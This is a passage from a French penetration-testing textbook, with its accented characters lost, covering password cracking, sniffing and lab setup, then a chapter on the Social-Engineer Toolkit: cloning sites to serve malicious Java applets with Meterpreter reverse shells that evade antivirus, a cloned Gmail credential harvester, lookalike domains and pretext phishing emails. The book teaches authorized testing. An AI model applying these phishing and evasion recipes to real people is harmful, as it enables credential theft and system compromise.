exigeantes, frustrantes, prenantes et gratifiantes dont peuvent bnficier
les nouveaux hackers et testeurs dintrusion. Nous pouvons sans mal
supposer que, puisque vous lisez cet ouvrage, vous vous intressez au
hacking. Nous lavons mentionn prcdemment, lexploitation est
souvent la seule activit qui soit associe au hacking (mme si vous savez
prsent quelle nen est quune des phases). Si vous naviez jamais
russi prendre la main sur une cible, vous avez d vous rgaler. Obtenir
un accs administrateur sur une autre machine est une exprience
dynamisante et unique.
Il existe plusieurs manires de mettre en pratique cette phase, la plus
simple tant de configurer une cible vulnrable dans votre laboratoire de
test dintrusion. nouveau, lutilisation des machines virtuelles sera plus
commode car lexploitation est potentiellement destructrice. La
rinitialisation dune machine virtuelle est souvent plus facile et plus
rapide que la rinstallation dune machine physique.
Si vous dbutez dans lexploitation, il est important que vous ayez
quelques succs immdiats. Cela vous vitera de vous dcourager lorsque
vous passerez des cibles plus difficiles pour lesquelles la procdure
dexploitation devient plus fastidieuse et complique. Nous vous
conseillons donc de dmarrer votre apprentissage de lexploitation en
attaquant des versions anciennes non corriges des systmes
dexploitation et des logiciels. En russissant exploiter ces systmes,
vous serez plus motiv pour avancer. De nombreux tudiants ont
rapidement, et de faon permanente, t dsillusionns par lexploitation
et le hacking car ils se sont attaqus des systmes bien protgs et sy
sont cass les dents. Noubliez pas que cet ouvrage a pour but de
prsenter les bases. Lorsque vous matriserez les techniques et outils
dcrits, vous pourrez passer des sujets plus labors.
Nous lavons indiqu plusieurs reprises, vous devez essayer dobtenir
un exemplaire lgal de Windows XP et lajouter votre laboratoire de
tests dintrusion. Assurez-vous dacheter une copie lgitime afin de rester
du bon ct de la licence. Il est toujours conseill aux dbutants de
commencer avec XP car cest un systme encore largement install et les
exploits disponibles dans le framework Metasploit vous permettront de
pratiquer.
Le Chapitre 1 la expliqu, pour mettre en place votre laboratoire de test
dintrusion, il est conseill de rechercher une version de XP sans le
moindre Service Pack appliqu. En effet, chaque Service Pack corrige un
certain nombre de failles et de vulnrabilits. Dans la mesure du possible,
essayez de trouver une copie de Windows XP SP 1, mais XP SP 2 et XP
SP 3 feront galement de bonnes cibles. Sachez que Microsoft a apport
des changements significatifs au niveau de la scurit de XP partir du
Service Pack 2. Quelle que soit la version que vous choisissez, quil
sagisse de XP, Vista, 7 ou mme 8, vous aurez au moins une
vulnrabilit exploiter. Nous vous encourageons dbuter avec les
versions les plus anciennes et avancer vers les systmes dexploitation
plus rcents.
Les anciennes versions de Linux font galement de bonnes cibles
exploitables. Les crateurs de Kali proposent un module gratuit
dentranement Metasploit nomm Metasploit Unleashed. Nous vous
conseillons fortement dutiliser cette ressource aprs avoir termin la
lecture de cet ouvrage. Le projet Metasploit Unleashed comprend une
explication dtaille du tlchargement et de la configuration dUbuntu
7.04 avec SAMBA. La mise en place dune machine virtuelle avec
Ubuntu 7.04 et SAMBA permet de disposer dune cible vulnrable
gratuite qui vous permettra de pratiquer les attaques sur un systme
Linux.
Enfin, Thomas Wilhelm a cr un ensemble de CD live de Linux la fois
divertissants, prouvants et hautement personnalisables : De-ICE.
Disponibles gratuitement ladresse http://heorot.net/livecds/, ils vous
permettront de mettre en pratique plusieurs dfis de tests dintrusion en
suivant des scnarios ralistes. Ils prsentent lintrt de proposer une
simulation raliste dun vritable test dintrusion.
Par ailleurs, les CD De-ICE ne vous permettront pas de vous contenter de
diffuser tout-va des attaques pour relever les dfis. Chaque CD
comprend plusieurs niveaux diffrents de dfis que vous devez atteindre.
Au fur et mesure que vous avancez dans les dfis, vous devrez
apprendre penser de faon critique et utiliser les outils et techniques
dcrits dans les phases 1 3.
Si vous utilisez ces CD incroyables (ou nimporte quel laboratoire
prconfigur), faites attention ne pas demander trop souvent de laide,
ni abandonner trop tt ou consulter trop souvent les conseils. Ce type
dapprentissage a une grande valeur, mais chaque CD nest souvent
exploitable quune seule fois. Aprs que vous avez lu le conseil ou la
solution dun problme, il nest plus possible de remettre le "gnie" dans
la lampe, car vous vous souviendrez probablement de la rponse
jamais. Nous vous encourageons donc faire preuve de persvrance et
tenir bon. Si vous avez lu et mis en pratique tout ce que nous avons
expliqu jusqu ce stade, vous aurez la possibilit dobtenir un accs
administrateur au premier disque de De-ICE.
Vous pouvez videmment toujours revenir en arrire et recommencer les
dfis, ce que nous conseillons, mais la seconde fois sera diffrente car
vous saurez ce quil faut rechercher. Prenez votre temps, apprciez les
dfis et travaillez sur les problmes rencontrs. Croyez-le ou non, vous
tirerez beaucoup de bnfices vous confronter des problmes
premire vue insurmontables. Si vous souhaitez devenir testeur
dintrusion, vous devez apprendre devenir persvrant et plein de
ressources. Considrez les problmes rencontrs comme une source
dapprentissage et tirez-en le plus grand bnfice.
Mettre en place les cibles vulnrables dcrites prcdemment et sy
confronter devrait se rvler amusant. Nous donnons ci-aprs des
conseils pour configurer des cibles de manire exprimenter les outils
dcrits dans ce chapitre.
La solution la plus facile pour mettre en pratique Medusa consiste
dmarrer un processus distant sur la machine cible. Essayez de
commencer par Telnet sur une machine Windows et SSH ou FTP sur une
machine Linux. Vous devrez crer quelques utilisateurs supplmentaires,
avec leur mot de passe, et leur donner accs aux services distants.
Lorsque le service sexcute, vous pouvez employer Medusa pour
obtenir un accs au systme distant.
Nous lavons dj mentionn, pour profiter de Metasploit et dArmitage
la meilleure faon de procder consiste configurer une ancienne
version de Windows XP, de prfrence sans aucun Service Pack. Vous
pouvez galement tlcharger une version dUbuntu 7.04 et y installer
SAMBA. Pour les exemples de cet ouvrage, nous avons utilis
Metasploitable.
Pour John the Ripper et chntpw, configurez une machine victime avec
plusieurs comptes dutilisateurs et diffrents mots de passe. Nous vous
suggrons de varier la robustesse des mots de passe pour chaque compte.
Choisissez quelques mots de passe faibles, composs de trois ou quatre
lettres. Crez des mots de passe plus longs et plus robustes, constitus de
lettres en minuscule et en majuscule, ainsi que de caractres spciaux.
Et ensuite
ce stade, vous devez disposer de bases solides sur les tapes
ncessaires lexploitation et lobtention dun accs sur un systme.
Noubliez pas que vos mthodes dattaques changeront en fonction de la
cible et de lobjectif. Puisque vous matrisez les bases, vous tes prt
aborder des sujets plus labors.
Prenez le temps dtudier Hydra, un outil de craquage des mots de passe
par force brute. Il opre la manire de Medusa, mais propose des
options supplmentaires. Examinez chacune delles en consultant les
pages de manuel de Hydra. Faites particulirement attention aux options
de minuterie. La possibilit de contrler la rapidit des connexions permet
de corriger nombre derreurs de connexion qui se produisent avec les
craqueurs de mots de passe en ligne.
En parallle de votre dictionnaire de mots de passe personnel, vous devez
construire une liste de noms dutilisateurs et de mots de passe par dfaut
pour diffrents priphriques rseau. Au cours de votre progression en
tant que testeur dintrusion, vous risquez dtre surpris par le nombre de
priphriques qui utilisent encore un nom dutilisateur et un mot de passe
par dfaut, par exemple les routeurs, les commutateurs, les modems ou
les pare-feu. Il nest pas rare de lire des rcits de testeurs dintrusion qui
ont t capables dobtenir un contrle total sur un routeur de primtre et
de rediriger tout le trafic interne et externe simplement parce que
ladministrateur de la socit avait oubli de changer le nom dutilisateur
et le mot de passe par dfaut. Il ne sert rien de perdre du temps
configurer et scuriser votre appareil si vous oubliez de changer le nom
dutilisateur et le mot de passe. Vous pourrez trouver en ligne des listes
de noms dutilisateurs et de mots de passe par dfaut qui feront de bons
points de dpart.
RainbowCrack est un autre bon outil de craquage des mots de passe. Il se
fonde sur des tables Rainbow, qui sont des listes dj tablies de mots de
passe chiffrs. Rappelons que les outils de craquage de mots de passe
classiques, comme John the Ripper, mettent en place une procdure en
trois tapes. Un tel outil commence par gnrer un mot de passe potentiel,
puis cre une version chiffre de ce mot de passe et, finalement, la
compare au hash du mot de passe. Les tables Rainbow sont beaucoup plus
efficaces car elles exploitent des mots de passe dj chiffrs. Cela
signifie que la procdure de craquage se rduit une seule tape :
comparer des mots de passe chiffrs.
De nombreux outils performants peuvent tre employs pour lcoute du
rseau. Nous vous conseillons fortement de passer du temps matriser
Wireshark, dont nous avons prsent uniquement les bases. Vous devez
apprendre utiliser les filtres, suivre les flux de donnes et examiner
les informations provenant de paquets particuliers. Ds que vous tes
laise avec Wireshark, plongez-vous dans dsniff. Nous lavons dj
mentionn, cette suite propose un trs grand nombre doutils
exceptionnels. Avec un peu de pratique et de travail personnels, vous
saurez comment intercepter le trafic chiffr, comme celui de SSL.
Noubliez pas galement dapprendre utiliser tcpdump. Il vous
permettra de capturer et de visualiser un trafic rseau partir dun
terminal, pour le cas o une interface graphique nest pas disponible.
Ettercap est un autre outil fantastique, aux nombreuses fonctionnalits et
possibilits. Il permet de mener des attaques du type "homme du milieu".
Il trompe les clients en envoyant un trafic rseau au travers de la
machine dattaque. Cela permet dobtenir des noms dutilisateurs et des
mots de passe partir des machines du rseau local. Aprs que vous
aurez tudi et utilis Wireshark, dsniff, tcpdump et Ettercap, vous
disposerez de tout le ncessaire pour matriser les bases de lcoute
rseau.
Lorsque votre utilisation de base de Metasploit sera au point, vous devrez
consacrer du temps la charge Meterpreter. Il existe des dizaines
doptions, de commandes et de faons dinteragir avec Meterpreter.
Vous devez les tudier et les mettre en pratique. Vous tirerez un bnfice
exceptionnel en apprenant contrler cette charge tonnante. Il est
important que vous sachiez que lassociation de Metasploit et de
Meterpreter est lune des meilleures armes pour le testeur dintrusion
novice. Ne sous-estimez pas cet outil puissant. Nous reviendrons plus en
dtail sur Meterpreter au cours de la phase 4, lors de la prsentation de la
postexploitation.
Jusqu prsent, seules des attaques automatises ont t dcrites. Bien
quil puisse tre trs amusant dappuyer sur des boutons pour pirater les
systmes distants, si vous ne dpassez pas ce stade vous ne serez jamais
quun script kiddie. Au dbut, nous commenons tous par nous reposer
sur dautres personnes pour dvelopper et produire des outils
dexploitation. Mais, pour faire partie de llite, vous devrez apprendre
lire, crire et crer vos propres exploits. Si cette tche peut vous
sembler intimidante, elle devient de plus en plus facile avec lacquisition
de connaissances. La dcouverte des dbordements de tampon sera un
bon point de dpart.
Si vous ne trouvez pas un exploit pertinent dans Metasploit, faites une
recherche sur Exploit-DB. Il sagit dun dpt public pour les exploits et
le code PoC (Proof of Concept). Le code dun exploit peut souvent tre
tlcharg, ajust et lanc avec succs sur le systme cible.
Pour les dbutants, les dbordements de tampon, qui se fondent sur la pile
et le tas et qui sont lorigine de nombreux exploits, ressemblent souvent
de la magie. Cependant, avec un travail personnel srieux, ces sujets
deviendront plus clairs, voire matriss.
Pour augmenter votre niveau de connaissance au point dtre capable de
trouver des dbordements de tampon et dcrire du code shell, il vous
faudra passer par des apprentissages supplmentaires. Bien quils ne
soient pas strictement ncessaires, cela vous permettra davancer plus
facilement dans la matrise de lexploitation. Si vous en avez la possibilit,
consacrez du temps apprendre un langage de programmation comme le
C. Ds que vous tes laise avec ce langage, passez aux bases de
lassembleur. Avec une bonne connaissance de ces sujets, vous
connatrez le secret des tours de magie que voient ceux qui rencontrent
pour la premire fois les dbordements de tampon.
Enfin, nous vous encourageons vous former un langage de script.
Python et Ruby font dexcellents candidats. Ils vous aideront
automatiser les outils et les tches.
En rsum
Ce chapitre sest focalis sur la phase 3 de notre mthodologie de base :
lexploitation. Pour les dbutants, elle quivaut souvent au vritable
hacking. Puisque lexploitation est un sujet vaste, ce chapitre a dcrit
plusieurs mthodes qui permettent de mener bien cette phase,
notamment lutilisation du craqueur de mots de passe en ligne Medusa
pour obtenir un accs un systme distant. Lexploitation des
vulnrabilits distantes laide de Metasploit a galement t explique,
ainsi que les diffrentes charges utilisables. John the Ripper a servi de
rfrence pour le craquage local des mots de passe. Nous avons
galement prsent un outil de rinitialisation des mots de passe que le
testeur dintrusion peut utiliser sil na pas le temps dattendre les rsultats
dun craqueur de mots de passe. Wireshark a t employ pour couter
les donnes qui passent par le rseau et macof a servi dans le contexte
dun rseau commut. Enfin, Armitage a t utilis comme outil tout en
un pour la phase dexploitation.
5
Ingnierie sociale
Introduction
Ce chapitre va se focaliser sur ce que vous avez appris au Chapitre 2 et
dvelopper vos connaissances de lingnierie sociale. Vous dcouvrirez
galement limportance de la cration dun vecteur dattaque crdible.
Lingnierie sociale fait partie des techniques les plus simples pour
obtenir un accs une entreprise ou un ordinateur individuel ; mais elle
peut galement tre lune des plus exigeantes si vous ne prparez pas
suffisamment votre attaque de la cible et des victimes. Un expert en
ingnierie sociale passera du temps peaufiner ses prtextes (vecteurs
dattaque) et formuler une histoire dans laquelle chaque dtail compte.
Cette attaque doit tre suffisamment crdible pour que la cible nait pas
de soupon et quaucune alarme ne soit dclenche pendant que
lhistoire devient ralit.
Lun de mes contrats dingnierie sociale prfrs a concern une
attaque contre lune des mille plus grandes entreprises. Langle retenu
tait lexpiration des avantages mdicaux si lemploy ne signait pas un
formulaire. Il sagit dune attaque parfaite car elle joue sur les motions
humaines tout en restant dans le contexte dun comportement normal et
des attentes dun employ. Pour mener lattaque, quatre personnes
seulement ont t cibles (afin de ne pas dclencher lalarme). Le taux
de russite a atteint 100 %. Ces rsultats dpendent uniquement des
efforts et du temps passs rendre le scnario crdible.
SET (Social-Engineer Toolkit) est un outil qui aide automatiser certaines
techniques extrmement complexes et rendre les attaques crdibles. Il
sagit uniquement dun outil. Vous pouvez voir SET comme une pe. Sa
bonne utilisation dpend des connaissances de lescrimeur et de sa
comprhension technique. Savoir personnaliser SET et lutiliser sa
pleine capacit vous permettront darriver des taux de russite levs
lors des attaques par ingnierie sociale.
SET est un framework dexploitation purement consacr lingnierie
sociale. Il permet de crer rapidement des vecteurs dattaque labors
sans ncessiter de grandes comptences en programmation ou des annes
de formation. SET est devenu le standard pour les testeurs dintrusion,
une mthode dattaque des entreprises et un moyen de dterminer leur
rsistance une telle attaque.
Les bases de SET
Vous le savez, dans Kali la structure des dossiers fait que les binaires sont
placs dans /usr/bin/<nom de loutil> et que les fichiers dune application
se trouvent dans /usr/share/<dossier de loutil>. SET nchappe pas la
rgle et est install dans le rpertoire /usr/share/set. Il peut tre lanc
partir de la ligne de commande :
se-toolkit
Nous arrivons alors son interface principale, qui propose plusieurs
options (voir Figure 5.1).
Figure 5.1
Les menus de SET.
SET est un systme base de menus qui permet de personnaliser
lattaque envisage. Vous pouvez galement modifier le fichier de
configuration /usr/share/set/config/set_config afin dadapter le
fonctionnement de SET vos prfrences. laide des options 4 et 5 du
menu, nous pouvons actualiser Metasploit et SET. Loption 1 nous conduit
aux attaques dingnierie sociale, tandis que loption 2 permet daccder
directement aux outils dexploitation par lintermdiaire du menu Fast-
Track. Nous allons nous concentrer sur loption 1, qui donne accs aux
attaques par ingnierie sociale. Si vous souhaitez reproduire lexemple,
appuyez sur la touche 1 pour arriver lcran illustr la Figure 5.2.
Figure 5.2
lintrieur du menu des attaques par ingnierie sociale.
Le menu recense les diffrentes possibilits dattaque par ingnierie
sociale. Examinons rapidement les vecteurs dattaque. Puisque nous
enseignons les bases, nous nallons pas dtailler chacun deux, mais une
vue densemble vous aidera. Les attaques de type Spear-Phishing, une
variante de lhameonnage, correspondent des courriers lectroniques
forgs de manire spcifique avec des pices jointes malveillantes. Les
actualits en parlent souvent, mais ces vecteurs dattaque peuvent tre
trs difficiles arrter. Par exemple, la majorit des exploits qui
proviennent dAdobe, dOffice et dautres sont gnralement rapidement
corrigs et presque instantanment dtects par les antivirus lors de leur
sortie.
En tant quassaillants, et en particulier en tant que testeurs dintrusion qui
se rendent dans une entreprise, nous navons en gnral droit qu un
seul coup. Les exploits eux-mmes sont extrmement spcifiques dans
leurs variantes. Prenons un exemple. En 2013, Scott Bell a publi un
module Metasploit pour une vulnrabilit dInternet Explorer lie au
drfrencement dun pointeur aprs la libration de la zone de mmoire
correspondante. En utilisant lexploit dInternet Explorer, une simple
navigation sur le site web malveillant pouvait compromettre lordinateur.
Cet exploit incroyable tait un trs bon exemple de prcision et de travail
de recherche. Son seul problme tait de ne fonctionner quavec Internet
Explorer 8 sur Windows XP SP3 (voir Figure 5.3).
Figure 5.3
La cible est uniquement IE 8 sur Windows XP SP3.
Notez que le travail de Scott a t incroyable. Ne sous-estimez jamais le
travail et le gnie ncessaires dcouvrir et utiliser un tel exploit.
Cependant, comme nous lavons mentionn, la plupart des exploits sont
fortement lis aux versions. En effet, les dernires versions dInternet
Explorer bnficient de mcanismes de protection supplmentaires et les
exploits se fondent sur certaines adresses de mmoire. Chaque version
dInternet Explorer et de Windows (sans mme mentionner les Service
Packs) utilise des adresses de mmoire diffrentes. Autrement dit, pour
quun exploit soit oprationnel, il doit tre spcifiquement conu pour un
systme dexploitation, une version dInternet Explorer et un Service
Pack. Sil doit fonctionner sur plusieurs autres plateformes, il faut passer
un temps important son adaptation. Il existe des exemples dexploits
"universels" qui tirent profit dadresses de mmoire communes ou
partages. Cest le cas de lexploit zero-day de Microsoft Word
(http://www.exploit-db.com/exploits/24526/), propos en 2013 par Chris
"g11tch" Hodges, qui fonctionne sur plusieurs plateformes. Il peut
reprsenter une bonne solution pour cibler une entreprise mais, si vous le
soumettez VirusTotal, vous constaterez quil est dtect par un grand
nombre dantivirus. Il faudrait alors masquer normment notre code afin
de contourner les protections de base mises en place par les entreprises.
En raison de tous ces obstacles, nous avons souvent besoin en ingnierie
sociale demprunter une route qui, nous le savons, nous mnera
destination. Une attaque Spear Phishing pourra russir condition de tout
connatre de la cible. Se contenter de joindre un document PDF ou Word
qui contient des exploits a trs peu de chances de russir.
Sites web en tant que vecteurs dattaque
Lun des vecteurs dattaque phares de SET est accessible au travers de
larticle de menu Website Attack Vectors. Les attaques proposes dans
ce groupe ont de grandes chances de succs et profitent de la crdulit
des gens. Le choix de loption 2 ouvre le menu illustr la Figure 5.4.
Figure 5.4
Liste des vecteurs dattaque de type site web.
Nous allons nous focaliser sur les attaques intitules Java Applet Attack
Method et Credential Harvester Attack Method. La premire est une
attaque qui ne profite pas du dernier exploit la mode, mais se fonde sur
la conception de Java. Ce langage est utilis pour crer des applications
compltes appeles applets. Ces applets sont souvent employes dans des
applications en production dans le monde entier. Par exemple, WebEx de
Cisco se sert des applets Java pour lancer un systme de confrences en
ligne. Les applets sont extrmement frquentes dans les applications web
et constituent des prtextes hautement crdibles. Choisissez loption 1,
puis loption 2 pour Site Cloner. SET va automatiquement se rendre sur
une page web, la cloner, la rcrire avec une applet Java malveillante,
rcrire la page web pour injecter lapplet, configurer un serveur web et
crer de multiples charges, tout cela en quelques minutes.
Aprs avoir choisi larticle Site Cloner, nous devons saisir no en rponse
la question qui demande si nous utilisons NAT ou la redirection de port.
Cette fonctionnalit ne doit tre employe que si vous vous trouvez
derrire un routeur et que la redirection des ports est active. Nous
indiquons ensuite ladresse IP de notre machine (la machine dattaque),
comme lillustre la Figure 5.5.
Figure 5.5
Saisir ladresse IP de la machine dattaque.
Nous devons ensuite prciser la page cloner. Dans notre exemple, nous
choisissons https://www.trustedsec.com comme cible. Vous devez
constater sa copie, puis arriver un menu de slection des charges (voir
Figure 5.6).
Figure 5.6
Choisir une charge dans SET.
Choisissez celle qui vous convient le mieux. La charge SE Toolkit
Interactive Shell est intgre SET et constitue une bonne alternative
Meterpreter, mme si elle ne propose pas autant de fonctionnalits. Mes
vecteurs dattaque prfrs sont PyInjector et MultiPyInjector. Trs
souvent, les antivirus reprent les binaires statiques, et la plupart des
charges Meterpreter prdfinies sont dtectes. Pour contourner cela,
Dave Kennedy a cr PyInjector et MultiPyInjector, qui injectent un
shellcode directement dans la mmoire, sans toucher au disque. Les
antivirus sont ainsi souvent djous et nous disposons alors dun shell
Meterpreter sans crainte dtre dtect. Slectionnez loption 15, cest--
dire larticle PyInjector Shellcode Injection. Conservez le port par dfaut
[443], qui sera utilis pour la connexion de retour (voir Chapitre 4).
Choisissez ensuite loption 1, qui correspond la charge Windows
Meterpreter Reverse TCP. Pendant lopration, lcran doit ressembler
celui illustr la Figure 5.7.
Figure 5.7
Lattaque est en cours de gnration.
Aprs que lapplet Java a t accepte, SET opre en plaant plusieurs
mthodes dattaque de la cible. La premire consiste utiliser une
technique dinjection PowerShell imagine initialement par Matthew
Graeber (http://www.exploit-monday.com/2011/10/exploiting-
powershells-features-not.html). Elle permet dutiliser PowerShell de
faon injecter un shellcode directement en mmoire, sans passer par le
disque. Outre cette technique, SET applique galement une attaque
PowerShell Execution Restriction Bypass publie lorigine lors de la
confrence Defcon 18 (http://www.youtube.com/watch?
v=JKlVONfD53w) par David Kennedy (ReL1K) et Josh Kelley
(winfang). La combinaison de ces deux attaques est trs efficace pour
lexcution dun code distant sur un systme. La seconde mthode
correspond au PyInjector choisi prcdemment.
Une fois le chargement de SET termin, il lance automatiquement
Metasploit. Vous devez obtenir un rsultat comparable celui de la
Figure 5.8.
Figure 5.8
Arrive dans Metasploit.
Nous utilisons ensuite la machine Windows cible et allons sur le site web
malveillant clon (qui sexcute sur notre machine Kali) en saisissant
ladresse IP de la machine dattaque dans le champ dURL du navigateur
de la machine cible. Le rsultat est illustr la Figure 5.9.
Figure 5.9
La fentre dactivation de lapplet Java.
Cochez la case Jaccepte le risque..., puis cliquez sur Excuter et
revenez sur la machine Kali. Vous devez avoir obtenu plusieurs shells
Meterpreter.
Ds que la victime a cliqu sur Excuter, elle est redirige vers le site
web dorigine et ne saperoit pas que quelque chose sest produit. Par
ailleurs, si elle dcide de cliquer sur Annuler, lapplet rapparat et lui
interdit de fermer le navigateur. La seule solution est daller dans le
gestionnaire des tches et de tuer le navigateur ou de cliquer sur
Excuter. Cette attaque est extrmement efficace et contourne la plupart
des antivirus disponibles aujourdhui. De plus, toutes les deux heures, de
nouvelles charges camoufles et chiffres sont automatiquement
gnres et intgres SET. Assurez-vous de toujours disposer de sa
dernire version.
Attention
Mettez toujours jour SET avant de lutiliser ! Dave sen occupe en
permanence. Vous recevrez de nouvelles charges chiffres au moins
toutes les deux heures. Cela peut se rvler extrmement pratique pour
contourner les antivirus.
Ce vecteur dattaque est trs efficace, mais quelques points doivent
toutefois tre souligns. Tout dabord, nous devons cloner ou crer un site
web qui peut paratre crdible auprs de la socit vise. Dans cet
exemple, si nous ciblons TrustedSec, nous pouvons cloner un portail des
ressources humaines, un site web externe, un systme de gestion du temps
ou tout autre systme auquel ils peuvent tre habitus. Par ailleurs, le
dtournement du site web est clairement indiqu par ladresse IP indique
dans la barre dURL (voir Figure 5.10).
Figure 5.10
Notez ladresse IP lors de lutilisation du site web.
Pour que lattaque soit plus crdible, il pourra tre utile denregistrer un
nom de domaine (pour un prix denviron 10 euros) qui ressemble celui
du site web de la cible (TrustedSec.com). Par exemple, si nous clonons un
site web de Trusted-Sec dadresse webportal.trustedsec.com, nous
pouvons essayer avec le nom de domaine webportal-trustedsec.com.
Lutilisateur final verra-t-il la diffrence ? Il est probable que non. Le
plus important est de ne jamais oublier que le vecteur dattaque doit tre
crdible.
Vous vous demandez peut-tre comment amener les utilisateurs se
rendre sur le site web dtourn. Dans lexemple prcdent, nous avons
choisi une arnaque aux bnfices afin de crer un sentiment durgence.
Tout scnario de ce type peut constituer un bon point de dpart.
Noubliez pas que, pour russir, il faut mettre en place les tapes
suivantes :
1. Installer SET et le prparer pour toutes les configurations
(vrifier que SET a accs Internet).
2. Enregistrer un nom de domaine qui peut paratre crdible.
3. Envoyer un courrier lectronique la socit sous un
prtexte crdible et y inclure un lien vers le nom de domaine
malveillant.
4. Obtenir des shells.
Plus vous consacrerez du temps et des efforts la reconnaissance de
lentreprise, plus lattaque aura des chances de russir. Dernier point :
puisquil se fonde sur Java, SET est capable de cibler nimporte quelle
plateforme, notamment Linux, Mac OS X et Windows. Par ailleurs, peu
importe la version ou le correctif de Java install.
Le moissonneur dinformations de connexion
la section prcdente, nous avons mis en place une attaque par applet
Java. Dans la rubrique des vecteurs dattaque de type site web, vous
trouvez galement une attaque appele "moissonneur dinformations de
connexion" (credential harvester). Elle consiste galement cloner un
site web et envoyer un courrier lectronique une victime afin
dessayer dobtenir ses informations de connexion. Pour la mise en place
de cette attaque, il est fortement conseill denregistrer un nom de
domaine comparable celui de la cible et dinstaller un certificat SSL
valide sur le site web afin dutiliser le protocole HTTPS. En effet, les
utilisateurs sont souvent prvenus de ne pas faire confiance aux sites qui
utilisent HTTP.
Dans le menu Website Attack Vectors, choisissez loption 3, "le
moissonneur dinformations de connexion", et slectionnez Site Cloner.
Saisissez ensuite ladresse IP de votre machine dattaque et clonez
nimporte quel site web, par exemple https://gmail.com. Au terme de cette
opration, utilisez une machine cible pour aller sur le site web clon et
saisissez les informations de connexion pour ouvrir une session. La
Figure 5.11 illustre le site web clon.
Figure 5.11
Saisir les informations de connexion sur le faux site web Gmail.
Aprs avoir saisi son nom et son mot de passe, lutilisateur est redirig
vers le site web Gmail lgitime. Revenez votre machine dattaque (sur
laquelle sexcute SET) pour voir le nom dutilisateur et le mot de passe
saisis. La Figure 5.12 montre les informations de connexion obtenues.
Figure 5.12
Les informations de connexion moissonnes sur le site web.
Nous disposons prsent du nom dutilisateur et du mot de passe de
lutilisateur Gmail affect. Pour que ce soit bien clair, dans cet exemple
nous nallons pas, en tant que testeurs dintrusion, rellement viser
Gmail ; cela naurait aucun sens. Nous devons cibler un serveur
Exchange, un portail extranet ou tout site crdible sur lequel lutilisateur
saisira son nom et son mot de passe, que nous pourrons utiliser ensuite
pour accder des ressources sensibles de lentreprise. Avec ce vecteur
dattaque, mon approche prfre est lenqute de satisfaction dun
employ. Le courrier lectronique commence par expliquer que, pour
amliorer la position de la socit, elle envoie un questionnaire de
satisfaction aux employs. Les cinquante premiers employs qui
complteront le questionnaire recevront en rcompense un iPhone et cela
ne prendra quune minute. Tout le monde veut son iPhone gratuit : clics
sur le lien, informations de connexion saisies et boum ! O est mon
iPhone ?
Cette attaque est performante, mais pourquoi ne pas la combiner avec
lattaque par applet Java ? SET la prvu ! Loption 7 du menu Website
Attack Vectors permet dutiliser autant de vecteurs dattaque web que
souhait. Si vous voulez que la victime soit tout dabord touche par une
attaque par applet Java, puis quelle entre ses informations de connexion,
cette option permet dinclure plusieurs attaques dans un seul site web.
Cette approche peut amliorer le taux de russite car si un vecteur
dattaque choue les autres mthodes offriront des solutions de repli.
Noubliez pas que vous naurez peut-tre quune seule occasion de
lancer votre attaque et que vous devez donc tre prpar et avoir
rflchi chaque scnario.
Autres options de SET
Revenons au menu principal des attaques par ingnierie sociale illustr
la Figure 5.13.
Figure 5.13
Le menu des attaques par ingnierie sociale.
Ce menu propose de nombreux autres vecteurs dattaque. En particulier,
loption 3 permet de crer une cl USB qui contient une charge
malveillante. Lorsquelle est branche un ordinateur, un script
excution automatique est lanc et excute la charge. Linconvnient de
cette attaque est que la cible doit tre configure de manire autoriser
lexcution automatique, ce qui nest pas le cas dans la plupart des
entreprises. Loption 4 permet de crer une charge et un couteur. Elle
sera utile si vous avez dj accs un ordinateur et souhaitez dployer
lune des charges SET les plus discrtes afin de mieux contourner les
antivirus. Il suffit de crer la charge, de copier le fichier, de lexcuter et
de le laisser se connecter automatiquement lcouteur. Loption 5
permet denvoyer des courriers lectroniques en masse partir dune
liste dadresses. La procdure est simple mais elle prend en charge le
courrier HTML et lenvoie en masse vers une entreprise.
Loption 6, les vecteurs dattaques Arduino, fait partie de mes prfres.
Arduino est une variante de C qui permet de programmer des
microcontrleurs. Un appareil de prjc.com, nomm Teensy, peut tre
programm pour se comporter comme nimporte quel priphrique. SET
permet de programmer cette carte pour quelle opre comme une souris
et un clavier. Ds que cest fait, il suffit de la brancher un ordinateur.
Elle ne dpend pas de la configuration de la fonctionnalit dexcution
automatique car elle mule un clavier. Elle en profite pour ouvrir une
porte drobe sur lordinateur. Cette technique incroyablement puissante
permet dobtenir un contrle total et dutiliser la machine avec un shell
Meterpreter complet. Cette option offre galement de nombreuses autres
attaques et charges. Loption 7 permet de parodier des messages SMS
partir du moment o vous disposez dun compte chez les fournisseurs.
Loption 8 donne la possibilit de crer un point daccs Wi-Fi partir de
notre ordinateur, en incluant des serveurs DHCP et DNS. Lorsque la
victime tente daller sur un site web, elle est redirige vers notre
ordinateur avec les attaques SET. Nous pouvons crer un portail captif
qui prcise que les applets Java doivent tre autorises avant de
poursuivre. Cette option est parfaitement adapte aux grandes socits.
Loption 9 nous permet de crer notre propre QRCode, qui, une fois
scann, redirige la machine vers lordinateur SET dattaque. La
Figure 5.14 donne un exemple qui dirige le navigateur cible vers
TrustedSec.
Figure 5.14
Crer un QRCode laide de SET.
Loption 10 propose des vecteurs dattaque PowerShell. Nous avons
brivement mentionn PowerShell dans la section sur lattaque par applet
Java, mais sachez que cet outil est extrmement puissant. Il est
parfaitement adapt la postexploitation et de nombreuses personnes
comptentes, comme Carlos Perez, Matthew Graeber, Josh Kelley et
David Kennedy, ont men des dveloppements intressants de ce ct-l.
Plusieurs des attaques ont t incluses dans SET. Il sagit de morceaux de
code qui peuvent tre excuts aprs la compromission dun systme.
SET se charge de gnrer automatiquement le code notre place et de le
rcrire afin de contourner les politiques de restriction dexcution.
En rsum
SET est un outil extrmement puissant qui permet de cibler lune des
principales faiblesses de tout dispositif de scurisation des informations :
les utilisateurs. Il est souvent assez simple dappeler une personne au
tlphone et de la persuader de se rendre sur un site web qui va infecter
son ordinateur et le compromettre intgralement. Comme nous lavons
mentionn prcdemment, nous pouvons galement forger des courriers
lectroniques crdibles qui lincitent cliquer sur un lien. Le succs de
lingnierie sociale repose souvent sur la vraisemblance et la crdulit.
SET facilite la cration dattaques efficaces. Noubliez pas dactualiser
SET de faon rgulire car des mises jour apparaissent toutes les deux
heures.
6
Exploitation web
Introduction
Les fondamentaux des attaques fondes sur le rseau doivent prsent
tre compris. Nous pouvons donc passer aux bases de lexploitation web.
Le Web constitue certainement lun des principaux vecteurs dattaque
disponibles aujourdhui, car tout est connect Internet. Pratiquement
toutes les socits disposent dune prsence web et, le plus souvent, elle
est dynamique et propose une interaction avec lutilisateur. Les sites web
de gnration prcdente comprenaient des pages statiques simples
codes essentiellement en HTML. Aujourdhui, ils se fondent pour la
